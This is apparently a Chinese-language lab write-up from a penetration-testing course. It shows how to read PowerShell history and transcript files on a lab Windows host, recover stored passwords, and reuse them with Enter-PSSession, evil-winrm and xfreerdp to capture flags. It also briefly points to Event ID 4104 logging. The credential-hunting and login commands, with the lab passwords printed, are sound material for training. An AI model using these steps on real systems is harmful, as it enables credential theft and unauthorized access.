Windows PowerShell 資訊

Windows PowerShell 資訊


啟用 Powershell 的日誌 Log 是一個很有用的事情,但也伴隨著被利用的可能性

本節將重點放在 PowerShell 相關的 Log 紀錄日誌上與如何利用


靶機 : 192.168.197.220,獲取使用者 daveadmin 桌面上的 flag

前提 : 已有使用者帳號 dave 起的 444 Port remote shell



可以使用 Get-History 查看下過的 Powershell 指令,一開始輸入時甚麼都沒有

簡單輸入幾個指令後再次輸入 Get-History 即可看到如下結果




另外可以使用 Clear-History 來清除所有紀錄,當我們輸入該指令後再次 Get-History 如下

可以看到僅有最後的 Clear-History 指令




Powershell 會很雞婆地將指令存在另一個 PSReadline 這個地方,一般執行 Clear-History 並不會清除這個地方的歷史資料,所以當 Get-History 沒有結果時不要忘了 PSReadline

透過指令 (Get-PSReadlineOption).HistorySavePath 確認 Log 存放路徑




確認 Log 檔案路徑後,查看內容 type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt,獲得有用資訊 -Name "Server02 Admin PW" -Secret "paperEarMonitor33@"



查看其它指令可以發現,下面是替 KeePass 註冊一個新的資料庫

Register-SecretVault -Name pwmanager -ModuleName SecretManagement.keepass -VaultParameters $VaultParams

還有一行看來用了 $cerd 帶了帳號密碼到某 Session

Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred

其中還有一行使用Start-Transcript啟動 PowerShell 轉錄

Start-Transcript -Path "C:\Users\Public\Transcripts\transcript01.txt"

所以這時候就看看這個文件吧 type C:\Users\Public\Transcripts\transcript01.txt

看來像是 daveadmin / qwertqwertqwert123!! 帳號與密碼




讓我們照著他的指令一併輸入吧,看來是一般帳號登入後用來提權使用的 Powershell 以帶入管理帳號去執行相關的管理事項

$password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)

Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred

PS C:\Users\dave> $password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force
$password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force

PS C:\Users\dave> $cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)
$cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)

PS C:\Users\dave> Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred

[CLIENTWK220]: PS C:\Users\daveadmin\Documents> whoami
whoami
clientwk220\daveadmin


但執行任何指令都沒有 Output,這也許是一種意外或是限制

[CLIENTWK220]: PS C:\Users\daveadmin\Documents> cd C:\
cd C:\

[CLIENTWK220]: PS C:\Users\daveadmin\Documents> pwd
pwd

[CLIENTWK220]: PS C:\Users\daveadmin\Documents> dir
dir



但我們已經有了帳號密碼 daveadmin / qwertqwertqwert123!!,此時可以改用 evil-winrm

指令 └─$ evil-winrm -i 192.168.197.220 -u daveadmin -p "qwertqwertqwert123\!\!"

PS : 注意密碼中的特殊符號 ! 前面要加 "\" 進行轉譯

登入後即可直接拿 flag 了



Go to Event Viewer → Events from Script Block Logging are in Application and Services → Microsoft → Windows → PowerShell → Operational: Click Filter Current Log and search for 4104 events





練習 : 

靶機 192.168.197.221,已知一般使用者帳號 / 密碼 : mac / IAmTheGOATSysAdmin!


第一步直接 RDP 進去 └─$ xfreerdp -v:192.168.197.221 -u:mac -p:IAmTheGOATSysAdmin!   




Get-History 發現沒東西




檢查看看 Powershell 歷史紀錄的 Log Path,指令 : (Get-PSReadlineOption).HistorySavePath,路徑如下

C:\Users\mac\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt




type 看一下內容,flag 出現了,這麼簡單




 

留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)